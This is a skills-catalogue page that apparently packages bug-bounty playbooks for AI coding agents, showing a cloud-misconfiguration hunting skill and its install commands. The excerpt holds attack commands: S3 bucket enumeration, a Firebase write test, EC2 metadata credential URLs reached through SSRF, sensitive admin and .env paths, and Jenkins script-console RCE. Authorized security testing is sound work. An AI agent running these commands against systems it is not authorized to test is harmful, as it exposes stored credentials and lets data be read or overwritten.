Skills for Real Engineers. Straight from my .agents directory.
39 skills
hunt-cloud-misconfig
Agent skill from
Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).
How to install hunt-cloud-misconfig
install hunt-cloud-misconfig
# install the Claude-BugHunter pack with the skills CLI
npx skills add elementalsouls/Claude-BugHunter# or add only this skill to Claude Code: copy the folder
skills/hunt-cloud-misconfig/
# into
~/.claude/skills/hunt-cloud-misconfig/ (all projects)
.claude/skills/hunt-cloud-misconfig/ (one project)
1## 16. CLOUD / INFRA MISCONFIGS23### S3 / GCS / Azure Blob4```bash5# S3 listing6curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"7aws s3 ls s3://target-bucket-name --no-sign-request89# Try common bucket names10for name in target target-backup target-assets target-prod target-staging; do11 curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"12done1314# Firebase open rules15curl -s "https://TARGET-APP.firebaseio.com/.json" # read16curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write17```1819### EC2 Metadata (via SSRF)20```bash21http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name22http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys23```2425### Exposed Admin Panels26```27/jenkins /grafana /kibana /elasticsearch /swagger-ui.html28/phpMyAdmin /.env /config.json /api-docs /server-status29```3031---3233### Jenkins SSO-restriction failure → Script Console RCE34An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.3536### Exposed message broker (RabbitMQ / AMQP) with default creds37…
Excerpt shown under the repository's MIT license.
More skills in Claude-BugHunter
Keep exploring
Similar skill repositories
An agentic skills framework & software development methodology that works.
15 skills
Public repository for Agent Skills
20 skills
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
CCCXGHGM+135 skills
Production-grade engineering skills for AI coding agents.
CCCXCU25 skills
The 1st Collaborative AI Design Agent Workspace. Local-first and open source. Create motion, prototypes, websites, apps, dashboards, presentations, images, and videos with your team and AI agents. Share work, exchange feedback, and iterate together in one workspace.
40 skills